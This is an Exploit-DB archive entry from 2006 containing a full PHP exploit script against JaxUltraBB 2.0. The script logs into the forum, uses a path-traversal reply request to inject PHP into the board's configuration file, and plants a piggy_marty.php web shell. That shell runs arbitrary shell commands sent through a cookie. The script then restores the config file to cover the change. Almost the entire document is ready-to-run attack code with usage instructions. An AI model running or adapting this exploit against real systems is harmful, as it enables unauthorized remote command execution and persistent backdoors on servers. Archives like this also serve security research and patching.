JaxUltraBB <= 2.0 Topic Reply Command Execution Exploit

2006-10-24T00:00:00
ID EDB-ID:2643
Type exploitdb
Reporter BlackHawk
Modified 2006-10-24T00:00:00

Description

JaxUltraBB <= 2.0 Topic Reply Command Execution Exploit. Webapps exploit for php platform

                                        
                                            #!/usr/bin/php -q -d short_open_tag=on
&lt;?
echo "JaxUltraBB v2.0 Topic Reply Command Execution Exploit\r\n";
echo "by BlackHawk &lt;hawkgotyou@gmail.com&gt;\r\n";
echo "Thanks to rgod for the php code and Marty for the Love\r\n";
echo "You need a valid Username and Password to get it working\r\n\r\n";
echo "This exploit will try to create a piggy_marty.php backdoor on the webserver\r\n\r\n";

if ($argc&lt;4) {
echo "Usage: php ".$argv[0]." Site Path UserName Password CMD\r\n";
echo "Host:       target server (ip/hostname)\r\n";
echo "Path:       path to PhpBB\r\n";
echo "Username:        Your username\r\n";
echo "Password:        Your Password\r\n";
echo "CMD:        A shell command\r\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /jubb/ admin admin dir C:\\\r\n";
die;
}

/*
Jubb is a quite insecure board..
No XSS prevention, free view MD5 hash of the users passwords and more..

after the DevilTeam Deface Exploit something more usefull ;)

JUBB save all the topics into small files with the same exstensions,
even the forumdata.JaxSQL wich contains all the forum configuration variables;

nothing easyer than append some PHP code into the configuration file and execute it;

this exploit create a piggy_marty.php backdoor, wich you can use directly running again the program;

sorry for my bad english, 

BlackHawk hawkgotyou@gmail.com
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i&lt;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &lt;= 32 ) | (ord($string[$i]) &gt; 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$uname=$argv[3];
$password=$argv[4];
$port=80;
$proxy="";
$cmd="";
for ($i=5; $i&lt;=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);
if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

// Check if backdoor already exist

echo "Step 0 - Check if piggy_marty.php already exist..\r\n";
$packet ="GET ".$p."piggy_marty.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (strstr($html,"69696"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("69696",$html);
  die("\r\n".$temp[1]."\r\n");
}

// Do the Login..

echo "Step 1 - Try To Do The Login..\r\n";
$data="username=$uname";
$data.="&password=$password";
$data.="&submit=Login";
$packet="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$phpsid = $temp2[0];

// Send The Evil Code

echo "Step 2 - Ok, Now Injecting the Shell..\r\n";
$data="subject=";
$data.="&message=&lt;?php \$fp=fopen(\"piggy_marty.php\",\"w\");fputs(\$fp,\"&lt;?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\\\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 69696;passthru(\\\$_COOKIE[cmd]);echo 69696;?&gt;\");fclose(\$fp);chmod(\"piggy_marty.php\",777);?&gt;";
$packet="POST ".$p."post.php?action=reply&forum=../forum&topic=data HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$phpsid."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$packet="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(1);

echo "Step 3 - Restoring the original File..\r\n";
$data="subject=";
$data.="&message=&lt;?php \$fp=fopen(\"forumdata.JaxSql\",\"w\");fputs(\$fp,\"&lt;?php\r\n\\\$setup = \$setup;\\\$forumname = \\\"\$forumname\\\";\\\$adminemail = \\\"\$adminemail\\\";\\\$hot_post_count = \$hot_post_count;\\\$rules = \\\"\$rules\\\";echo \\\"&lt;html&gt;&lt;body bgColor='black' background='img/background.jpg' text='white'&gt;&lt;title&gt;\\\$forumname -- Index&lt;/title&gt;&lt;style&gt;a { text-decoration: none; color: blue }a:visited { color: gray }a:hover { text-decoration: bold; color: red }&lt;/style&gt;&lt;table&gt;&lt;td background='img/topbar.jpg' width='1000' height='100'&gt;&lt;img src='img/logo.jpg' width='300' height='100'&gt;&lt;/td&gt;&lt;/table&gt;&lt;a href='index.php'&gt;&lt;img src='img/homeicon.jpg' style='border: outset; border-color: black'&gt;Home&lt;/a&gt; &lt;a href='members.php'&gt;&lt;img src='img/membersicon.jpg' style='border: outset; border-color: black'&gt;Members&lt;/a&gt;\\\";if (\\\$_SESSION['usr'] == \\\"\\\") {echo \\\"&lt;a href='register.php'&gt;&lt;img src='img/registericon.jpg' style='border: outset; border-color: black'&gt;Register&lt;/a&gt; \\\";echo \\\" &lt;a href='login.php'&gt;&lt;img src='img/loginicon.jpg' style='border: outset; border-color: black'&gt;Login&lt;/a&gt;\\\";} else {echo \\\" &lt;a href='profile.php'&gt;&lt;img src='img/profile.jpg' style='border: outset; border-color: black'&gt;Profile&lt;/a&gt;\\\";echo \\\" &lt;a href='login.php?logout=true'&gt;&lt;img src='img/loginicon.jpg' style='border: outset; border-color: black'&gt;Logout of \\\".\\\$_SESSION['usr'].\\\"&lt;/a&gt;&lt;br&gt;\\\";}function online_moved(\\\$page){\\\$onlinefile = fopen(\\\"users/\\\".\\\$_SESSION['usr'].\\\"online.JaxSQL\\\", \\\"w\\\");fwrite(\\\$onlinefile, \\\$page.\\\"{DATA}\\\".date(\\\"m\\\").\\\"{DATA}\\\".date(\\\"d\\\").\\\"{DATA}\\\".date(\\\"y\\\").\\\"{DATA}\\\".date(\\\"h\\\").\\\"{DATA}\\\".date(\\\"i\\\").\\\"{DATA}\\\".date(\\\"s\\\"));fclose(\\\$onlinefile);}?&gt;\");fclose(\$fp);chmod(\"marty.php\",777);?&gt;";
$packet="POST ".$p."post.php?action=reply&forum=../forum&topic=data HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."/login.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$phpsid."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$packet="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(1);

echo "Step 4 - All done.. Restart the exploit to enjoy ^_^\r\n";
?&gt;

# milw0rm.com [2006-10-24]